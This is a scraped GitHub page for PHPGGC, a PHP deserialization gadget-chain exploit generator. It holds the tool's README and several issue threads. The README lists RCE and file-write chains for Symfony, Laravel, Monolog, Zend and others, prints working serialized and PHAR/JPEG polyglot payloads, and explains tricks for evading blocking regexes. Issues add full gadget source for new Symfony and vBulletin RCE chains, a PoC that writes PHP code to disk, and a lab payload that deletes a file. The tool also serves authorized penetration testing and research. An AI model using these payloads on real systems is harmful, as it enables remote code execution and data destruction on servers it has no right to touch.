Git Product home page Git Product logo

phpggc's Introduction

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

Requirements

PHP >= 5.6 is required to run PHPGGC.

Usage

Run ./phpggc -l to obtain a list of gadget chains:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filter gadget chains:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Every gadget chain has:

  • Name: Name of the framework/library
  • Version: Version of the framework/library for which gadgets are for
  • Type: Type of exploitation: RCE, File Write, File Read, Include...
  • Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informations: Other informations about the chain

Use -i to get detailed information about a chain:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

For RCE gadgets, the executed command can have 3 formatting types depending on how the gadget works:

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

For a file write using SwiftMailer, you'd do:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

The --wrapper (-w) option allows you to define a PHP file containing the following functions:

  • process_parameters(array $parameters): Called right before generate(), allows to change parameters
  • process_object(object $object): Called right before serialize(), allows to change the object
  • process_serialized(string $serialized): Called right after serialize(), allows to change the serialized string

For instance, if the vulnerable code looks like this:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

You could use a __toString() chain, wrapping it like so:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

And you'd call phpggc like so:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here.

Implementation

PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h).

Examples

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.

The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice.

Advanced: Enhancements

Fast destruct

PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I'd recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Uses the S serialization format instead of the standard s. This replaces every non-ASCII char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. Note: this is experimental and it might not work in some cases.

Armor Strings

Uses the S serialization format instead of the standard s. This replaces every char to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; This comes handy when a firewall or PHP code blocks strings. Note: this is experimental and it might not work in some cases. Note: this makes each string in the payload grow by a factor of 3.

Plus Numbers

Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as /O:[0-9]+:. This is easily bypassed using O:+123:... instead of O:123:. One can use --plus-numbers <types>, or -n <types>, to automatically add these + signs in front of symbols. For instance, to obfuscate objects and strings, one can use: --n Os. Please note that since PHP 7.2, only i and d (float) types can have a +.

Testing your chain

To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the --test-payload option.

For instance, to test if Monolog/RCE2 works on Symfony 4.x:

$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

The exit code will be 0 if the payload triggered, 1 otherwise.

Testing your chain against every version of a package

If you wish to know which versions of a package a gadget chain works against, you can use test-gc-compatibility.py.

$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

You can specify the versions you want to test by using the following syntaxe.

$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Instead of using PHPGGC as a command line tool, you can program PHP scripts:

<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

This allows you to tweak the parameters or write exploits more easily. Note: This is pretty experimental at the moment, so please, report bugs.

Contributing

Pull requests are more than welcome. Please follow these simple guidelines:

  • __destruct() is always the best vector
  • Specify at least the version of the library you've built the payload on
  • Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
  • Respect code style: for instance, opening brackets { are on a new line, and arrays should be written as [1, 2, 3] instead of the old, array(1, 2, 3), notation.

Codewise, the directory structure is fairly straightforward: gadgets in gadgets.php, description + logic in chain.php. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.

Please test as many versions as you can. The nomenclature for versions is as such: [-]<lower-version> <= <higher-version>[+]. The - and + signs indicate that your payload may work on respectively lower and higher versions. For instance, if your gadget chain works from version 2.0.0 to version 4.4.1, which is the last version at the time, use 2.0.0 <= 4.4.1+.

The --new <framework> <type> command-line option can be used to create the directory and file structure for a new gadget chain. For instance, use ./phpggc -n Drupal RCE would create a new Drupal RCE gadgetchain.

Docker

If you don't want to install PHP, you can build a docker image using:

$ docker build . -t 'phpggc'

You can then used the dockerized phpggc.

To generate a gadget chain

$ docker run phpggc Monolog/rce1 'system' 'id'

To test a chain

Jump to your environment's folder and run the chain argument-free, with the --test-payload option:

$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

To generate phar / polyglot files

Note: The command must be executed in the directory where the input image is located.

$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

To run test-gc-compatibility.py

$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

License

Apache License 2.0

phpggc's People

Contributors

arjunshibu avatar baksist avatar bcoles avatar bennofs avatar blackfan avatar byqwert avatar cfreal avatar cr1f avatar creastery avatar cyanm0un avatar dsp25no avatar eboda avatar erwanlr avatar firebasky avatar klezvirus avatar maxrio87 avatar mayfly277 avatar mcdruid avatar mir-hossein avatar mpchadwick avatar mrtuxracer avatar nightfury99 avatar remsio-syn avatar snoopysecurity avatar stevenseeley avatar swapgs avatar therealcoiffeur avatar thomas-chauchefoin-sonarsource avatar viniul avatar zhcy2018 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

phpggc's Issues

Payload not work

Hello!
I had found an article in your blog, and tried to repeat attack. But it didn't work on same version of Piwik. Did you modify code of Piwik?

Test Coverage

I think it would be a good idea to start adding some test coverage for this codebase. It helps to more confidently make decisions in scenarios like this (or just in general when adding new code):

#44 (comment)

phpunit is pretty much the de facto choice for test coverage in PHP, so I'd propose we use that here. Thoughts?

Missing spaces result in a broken serialized object

Hi!

I tried the following command in order to solve a popular challenge by Portswigger:

./phpggc symfony/rce4 exec "rm /home/carlos/morale.txt"

And received the following result:

O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:orale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapteaptersetInnerItem";s:4:"exec";}}

There are missing spaces which break the serialized object.

If I pipe the output of the command directly to base64 and decode it in Burp Suite's "Decoder", the serialized object will again be displayed without spaces. However, upon closer inspection I noticed that there is "something" in between and it turned out to be null bytes (\0) where the spaces were supposed to be.

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==

Gadget Chains not sorted anymore

The latest changes result in the Gadget Chains not being sorted anymore when listed:


Gadget Chains
-------------

NAME                                    VERSION               TYPE             VECTOR         I    
Magento/SQLI1                           ? <= 1.9.4.0          sql_injection    __destruct          
Magento/FW1                             ? <= 1.9.4.0          file_write       __destruct     *    
WordPress/WooCommerce/RCE1              3.4.0 <= ?            rce              __destruct     *    
WordPress/YetAnotherStarsRating/RCE1    ? <= 1.8.6            rce              __destruct     *        
ZendFramework/RCE1                      ? <= 1.12.20          rce              __destruct     *    
ZendFramework/RCE3                      2.0.1 <= ?            rce              __destruct          
ZendFramework/RCE2                      1.11.12 <= 1.12.20    rce              __toString     *    
ZendFramework/FD1                       ? <= 1.12.20          file_delete      __destruct          
CodeIgniter4/RCE1                       4.0.0-beta.1 <= ?     rce              __destruct          
Yii/RCE1                                1.1.20                rce              __wakeup       *    
Phalcon/RCE1                            <= 1.2.2              rce              __wakeup       *    
SwiftMailer/FW1                         5.1.0 <= 5.4.8        file_write       __toString          
SwiftMailer/FW4                         4.0.0 <= ?            file_write       __destruct

[SNIPPED]     

RCE: FunctionCall, PHPCode, Command

I decided to split the RCE GadgetChain type into three:

  • \PHPGGC\GadgetChain\RCE\FunctionCall: Call a PHP function (function, parameter)
  • \PHPGGC\GadgetChain\RCE\PHPCode: Execute PHP (code)
  • \PHPGGC\GadgetChain\RCE\Command: Execute a system command (command)

Users

The RCE parameters can vary a lot from payload to payload, so now you know, right from ./phpggc -l, the params you'll have to give:

Gadget Chains
-------------

NAME                                      VERSION                        TYPE                   VECTOR         I  
ZendFramework/FD1                         ? <= 1.12.20                   File delete            __destruct          
ZendFramework/RCE1                        ? <= 1.12.20                   RCE (PHP code)         __destruct     *    
ZendFramework/RCE2                        1.11.12 <= 1.12.20             RCE (Function call)    __toString     *    
ZendFramework/RCE3                        2.0.1 <= ?                     RCE (Function call)    __destruct          
ZendFramework/RCE4                        ? <= 1.12.20                   RCE (PHP code)         __destruct     * 

The commands work the same as before:

$ phpggc ZendFramework/RCE1 'phpinfo();'
$ phpggc ZendFramework/RCE2 system id

Payload creators

When you need to create a new RCE payload, just use the same syntax as before: ./phpggc -n SomeFramework RCE
And then, change the type in the class definition in chain.php:

- class RCE1 extends \PHPGGC\GadgetChain\RCE
+ class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall

Hopefully this improves clarity.

phpggc times out

Running /path/to/phpggc now times out since 08dc897, probably because the OS doesn't understand the sheband.
Tested on Debian 12 AMD64 and ARM64. Reverting the referred commit works.
Running php -d phar.readonly=0 /opt/tools/phpggc/phpggc works of course. This is only a shebang format issue

Add a vBulletin Guzzle Chain

Here is a great blogpost about a nice (old) RCE in vBulletin based on Guzzle and looking like this:

class googlelogin_vendor_autoload {} // fake class to include the autoloader
 
class GuzzleHttp_HandlerStack
{
    private $handler, $stack;
     
    function __construct($cmd)
    {
        $this->stack = [['system']]; // the callback we want to execute
        $this->handler = $cmd; // argument for the callback
    }
}
 
class GuzzleHttp_Psr7_FnStream
{
    function __construct($callback)
    {
        $this->_fn_close = $callback;
    }
}
 
$pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
 
$chain = serialize([new googlelogin_vendor_autoload, $pop]);
 
$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
     
print $chain;

it would be nice to have it in phpggc :)

Multiple function parameters

Hi,

Is it possible to have the Monolog or Guzzle RCE gadget chains execute a function with multiple parameters?

I've been playing around with the chains but couldn't get it to work yet.

E.g. If it's possible to call call_user_func_array with two parameters, it should be feasible to call any function with an arbitrary number of parameters.

New pop chain for Symfony 3.4

the calling stack is
Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct
Symfony\Component\Cache\Traits::__call
Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator::__invoke
Symfony\Component\Cache\Simple::set
Symfony\Component\Cache\Adapter\PhpArrayAdapter::getItem

chain.php

<?php

namespace GadgetChain\Symfony;

class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
{
    public static $version = '3.4';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';
    public static $information = 'also use proc_open';

    public function generate(array $parameters)
    {
        $command = $parameters['command'];

        return new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
        	$command
        );
    }
}

gadgets.php

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;

        function __construct($cmd)
        {
            $this->parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd);
        }
    }
}

namespace Symfony\Component\Cache\Traits{
    class RedisProxy{
        private $initializer;
        private $redis;

        function __construct($cmd)
        {
            $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd);
            $this->redis = $cmd;
        }
    }
}

namespace Symfony\Component\DependencyInjection\Loader\Configurator{
    class InstanceofConfigurator{
        protected $parent;

        function __construct($cmd)
        {
            $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd);
        }

    }  
}

namespace Symfony\Component\Cache\Simple{
    class Psr6Cache{
        private $pool;

        function __construct($cmd)
        {
            $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd);
        }

    }
}

namespace Symfony\Component\Cache\Adapter{
    class PhpArrayAdapter{
        private $values;
        private $createCacheItem;

        function __construct($cmd)
        {
            $this->values = array($cmd=>[]);
            $this->createCacheItem = "proc_open";
        }
    }
}

here is poc

BRMZUV$9BO@)N6OU~{TOOSI

New Symfony RCE gadgets (3.4)

PoC:

        $a = new Legacy\SymfonyTestsListenerTrait();
        $a->state = 1;
        $a->skippedFile = 'php://filter/convert.base64-decode/resource=b.php';
        $a->isSkipped = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' . base64_encode("<?php system('touch /tmp/pwned');?>");

File vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/Legacy/SymfonyTestsListenerTrait.php:

    public function __destruct()
    {
        if (0 < $this->state) {
            file_put_contents($this->skippedFile, '<?php return '.var_export($this->isSkipped, true).';');
        }
    }

It will write code to b.php.

wrong string len in serialized payloads

hello
i generated a payload with this command
phpggc Symfony/FW2 /tmp/test123.txt /tmp/dsdsdsdsdsds

output playload is:
'O:55:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTrait":11:{s:62:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitstate";i:1;s:68:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitskippedFile";s:60:"php://filter/convert.base64-decode/resource=/tmp/test123.txt";s:67:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitwasSkipped";a:0:{}s:66:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitisSkipped";s:79:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaYWRhZGFkZGRkZGRkZGQK";s:77:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitexpectedDeprecations";a:0:{}s:77:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitgatheredDeprecations";a:0:{}s:77:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitpreviousErrorHandler";N;s:74:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraittestsWithWarnings";N;s:75:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitreportUselessTests";N;s:62:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraiterror";N;s:78:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitrunsInSeparateProcess";b:0;}'

but string length are wrong. after manually correcting strings:

'O:55:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTrait":11:{s:60:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitstate";i:1;s:66:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitskippedFile";s:60:"php://filter/convert.base64-decode/resource=/tmp/test123.txt";s:65:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitwasSkipped";a:0:{}s:64:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitisSkipped";s:79:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaYWRhZGFkZGRkZGRkZGQK";s:75:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitexpectedDeprecations";a:0:{}s:75:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitgatheredDeprecations";a:0:{}s:75:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitpreviousErrorHandler";N;s:72:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraittestsWithWarnings";N;s:73:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitreportUselessTests";N;s:60:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraiterror";N;s:76:"Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTraitrunsInSeparateProcess";b:0;}'

after running payload i am receiving this error:

Object of class __PHP_Incomplete_Class could not be converted to string

Branching phpggc

Hi,

Sorry to contact you this way - but I've tried e-mail to ambionics, and no response. phpggc is awesome, I'd like to release a branch of it to accompany a presentation I'm giving at blackhat usa this year, would that be ok?

Thanks,
Sam

Add the ability to scaffold a chain

It could be nice to have the ability to run a command to get the skeleton directory structure needed to add a new gadget chain. Perhaps the -n (for "new") could be used for this?

./phpggc -n <Library> <Type>

It would then create the files and folders needed along with base templates that need to then be filled in.

Lengths of serialized objects contain wrong sizes

Hi - I noticed that the generated serialization of the payloads contain wrong integers indicating string lengths. For example, running the following on PHP 7.0.32-0ubuntu0.16.04.1:

~# phpggc ZendFramework/RCE1 "system('id');"
O:8:"Zend_Log":1:{s:11:"*_writers";a:1:{i:0;O:20:"Zend_Log_Writer_Mail":5:{s:16:"*_eventsToMail";a:1:{i:0;i:1;}s:22:"*_layoutEventsToMail";a:0:{}s:8:"*_mail";O:9:"Zend_Mail":0:{}s:10:"*_layout";O:11:"Zend_Layout":3:{s:13:"*_inflector";O:23:"Zend_Filter_PregReplace":2:{s:16:"*_matchPattern";s:7:"/(.*)/e";s:15:"*_replacement";s:13:"system('id');";}s:20:"*_inflectorEnabled";b:1;s:10:"*_layout";s:6:"layout";}s:22:"*_subjectPrependText";N;}}}

Expected output:

~# phpggc ZendFramework/RCE1 "system('id');"
O:8:"Zend_Log":1:{s:9:"*_writers";a:1:{i:0;O:20:"Zend_Log_Writer_Mail":5:{s:14:"*_eventsToMail";a:1:{i:0;i:1;}s:20:"*_layoutEventsToMail";a:0:{}s:6:"*_mail";O:9:"Zend_Mail":0:{}s:8:"*_layout";O:11:"Zend_Layout":3:{s:11:"*_inflector";O:23:"Zend_Filter_PregReplace":2:{s:14:"*_matchPattern";s:7:"/(.*)/e";s:13:"*_replacement";s:13:"system('id');";}s:18:"*_inflectorEnabled";b:1;s:8:"*_layout";s:6:"layout";}s:20:"*_subjectPrependText";N;}}}

